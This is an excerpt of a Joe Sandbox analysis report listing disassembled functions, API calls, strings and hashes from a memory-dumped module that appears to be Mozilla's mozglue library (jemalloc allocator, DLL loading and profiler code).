Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction ID: 88323adfe735787603888024a929bbd32d38c400ccc241e9f8c4747c956297d6
Opcode Fuzzy Hash: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction Fuzzy Hash: F0539D71A05B018FD304CF29C540616FBE5BF8A728F2DC6ADE8699BB91D771E841CB81

Function 6C9B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C98E1A5), ref: 6C9B5606
LoadLibraryW.KERNEL32(gdi32,?,6C98E1A5), ref: 6C9B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9B57FF

Strings

SetWindowLongPtrW, xrefs: 6C9B57B7
AreDpiAwarenessContextsEqual, xrefs: 6C9B5637
ReleaseDC, xrefs: 6C9B5742
gdi32, xrefs: 6C9B560A
CreateSolidBrush, xrefs: 6C9B57E4
EnableNonClientDpiScaling, xrefs: 6C9B5666
FillRect, xrefs: 6C9B5729
MonitorFromWindow, xrefs: 6C9B578D
RegisterClassW, xrefs: 6C9B56AC
CreateWindowExW, xrefs: 6C9B56C5
GetThreadDpiAwarenessContext, xrefs: 6C9B562D
StretchDIBits, xrefs: 6C9B57CC
GetWindowDC, xrefs: 6C9B5710
LoadIconW, xrefs: 6C9B575B
LoadCursorW, xrefs: 6C9B5774
SetWindowPos, xrefs: 6C9B56F7
GetDpiForWindow, xrefs: 6C9B5690
DeleteObject, xrefs: 6C9B57F9
user32, xrefs: 6C9B5601
GetSystemMetricsForDpi, xrefs: 6C9B5677
GetMonitorInfoW, xrefs: 6C9B57A2
ShowWindow, xrefs: 6C9B56DE

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction ID: 41747918415cd83854961cde67794af9457b0b5d570bd113f65776845f780560
Opcode Fuzzy Hash: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction Fuzzy Hash: B7513271719F03ABDB019F358D44A273ABCAB4B6897318965A911F3A51EFB0E840CF71

Function 6C9B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EE2

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9B61DD
Part of subcall function 6C9B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4157

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9B6250
Part of subcall function 6C9B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4896
free.MOZGLUE ref: 6C9B489F

Strings

, xrefs: 6C9B4CD2

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction ID: 2024a2ce44dd57baca4eb525791026bf68a6069d6195df2565f20f8c78d6c700
Opcode Fuzzy Hash: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction Fuzzy Hash: A8F23D74908B808FC725CF28C08469AFBF1FF99348F158A5ED999A7711DB31E496CB42

Function 6C9664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C966505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C966518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C96671C
GetCurrentProcess.KERNEL32 ref: 6C966724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C96672F
GetCurrentProcess.KERNEL32 ref: 6C966759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C966764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C966A80
GetSystemInfo.KERNEL32(?), ref: 6C966ABE
__Init_thread_footer.LIBCMT ref: 6C966AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AF7

Strings

nvdxgiwrap.dll, xrefs: 6C966513
user32.dll, xrefs: 6C966526
_etoured.dll, xrefs: 6C9664ED
detoured.dll, xrefs: 6C9664DA
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C966798
nvd3d9wrap.dll, xrefs: 6C966500

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction ID: f3bee4324432d92c21bcd1d3f6c1d1ac9eb2539a26f6e5108cf66aa5291763c1
Opcode Fuzzy Hash: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction Fuzzy Hash: 74F1D3709056199FEF20CF26CD48B9AB7B9AF46318F1442D9D809E3B81D731EA84CF91

Function 6C9860A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9860C9
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C98610D
EnterCriticalSection.KERNEL32(?), ref: 6C98618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9861F9

Strings

<jemalloc>, xrefs: 6C986AA9, 6C986B59
: (malloc) Unsupported character in malloc options: ', xrefs: 6C986B6A
Compile-time page size does not divide the runtime one., xrefs: 6C986AAE
MALLOC_OPTIONS, xrefs: 6C986888
MOZ_CRASH(), xrefs: 6C986AB8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C986BC7, 6C986F97, 6C986FB2

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction ID: 5f412a5f79bb3721f2e4877629fc26ad606a218144d7b7f8dbb7b964545e3613
Opcode Fuzzy Hash: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction Fuzzy Hash: BEA2AD71A1AB018FD704CF28C540715BBE1BB86728F29CA6DE869DFB91C771E841CB81

Function 6C9BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE472

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: e1c3f81d231211ef9dee21fb1a5de1049b4568e871490516a1836c365754f4bf
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 82339D72E0021ADFCB04CFA8C8806AEBBB6FF49314F284269D955BB755D731E945CB90

Function 6C96FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

<jemalloc>, xrefs: 6C970D62, 6C970D76, 6C970DA7
: (malloc) Error in VirtualFree(), xrefs: 6C970D67, 6C970D7B, 6C970DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction ID: 89b0767db9b6ade71c2dd4f675689d8a6305506a27724497a8988b0c8490be09
Opcode Fuzzy Hash: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction Fuzzy Hash: 07C2F271A06B418FD724CF28C490716BBE1BF86728F28C66DE4698B7D5D732E841CB91

Function 6C9BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0ED4

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction ID: a5d567ef99268a4b7d045aa9c7510be3e1a83ce64898b96b8b2d8d6408922307
Opcode Fuzzy Hash: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction Fuzzy Hash: 2A639D75E0025ACFCB04CFA8C8906ADFBB2FF89314F298269D855BB745D730A945CB91

Function 6C993E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C993E7D,?,?,?,6C993E7D,?,?), ref: 6C9B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C993F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C993F5C
VerSetConditionMask.NTDLL ref: 6C993F8D
VerSetConditionMask.NTDLL ref: 6C993F99
VerSetConditionMask.NTDLL ref: 6C993FA0
VerSetConditionMask.NTDLL ref: 6C993FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C993FB4

Strings

nvinit.dll, xrefs: 6C994479
nvd3d9wrap.dll, xrefs: 6C994466

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction ID: f37a4a6004366b2d173098e3670fc2ce9cfb69bed96d9c59383d1ec0d5faff55
Opcode Fuzzy Hash: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction Fuzzy Hash: BB52F471610B849FE715DF34C890AABB7F9AF65204F14092DE4978BB82DB34F909CB60

Function 6C97ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C97EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C97EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C981695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C981770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C981A3E

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction ID: 4b12cf259d144afaaa2cd7cea373ec058412700b17f052388d39559a68429258
Opcode Fuzzy Hash: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction Fuzzy Hash: 38B31A71E0521ACFCB24CFA8C890AADB7B2BF49304F2585A9D459BB745D730AD85CF90

Function 6C96FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

MOZ_CRASH(), xrefs: 6C970CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4, 6C971A10

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction ID: 9e04d2b8b17a31effdaa4c5986ea67380293e502026a49a2b90f09ccd7402db7
Opcode Fuzzy Hash: 0d97139f2cb002bf771881970588ce42eb97918fcba4bed82a808365ab3ded38
Instruction Fuzzy Hash: AAB2CF716067418FD728CF28C590716BBE5BF86328F28C66CE86A8FB95D771E840CB51

Function 6C9A5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

expected a Count entry, xrefs: 6C9A5AC3
schema, xrefs: 6C9A606D
name, xrefs: 6C9A5E79, 6C9A5E8F
data, xrefs: 6C9A6131
ProfileBuffer parse error: %s, xrefs: 6C9A5AC8, 6C9A5CBB
expected a Time entry, xrefs: 6C9A5CB6

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2806476863.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806636403.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806702334.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2806772923.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction ID: 1c234d7b220db69f3c01c844945cfec444ea8526abe87858f7bb1cec0a8cb3ad
Opcode Fuzzy Hash: 2e360f46ec059b5dd5a7d563aa2015b2633d5d2b0810dc7bf81ba7ac7f161efd
Instruction Fuzzy Hash: 62927DB1A087418FD724CF68C49079ABBF1BFD9308F15891DE5999B751DB30E80ACB92

Function 6C9A2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C9A2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C9A2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C9A3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9A36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C9A378D
set , xrefs: 6C9A36EC
get , xrefs: 6C9A3205

Memory Dump Source

Source File: 00000000.00000002.2806516005.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

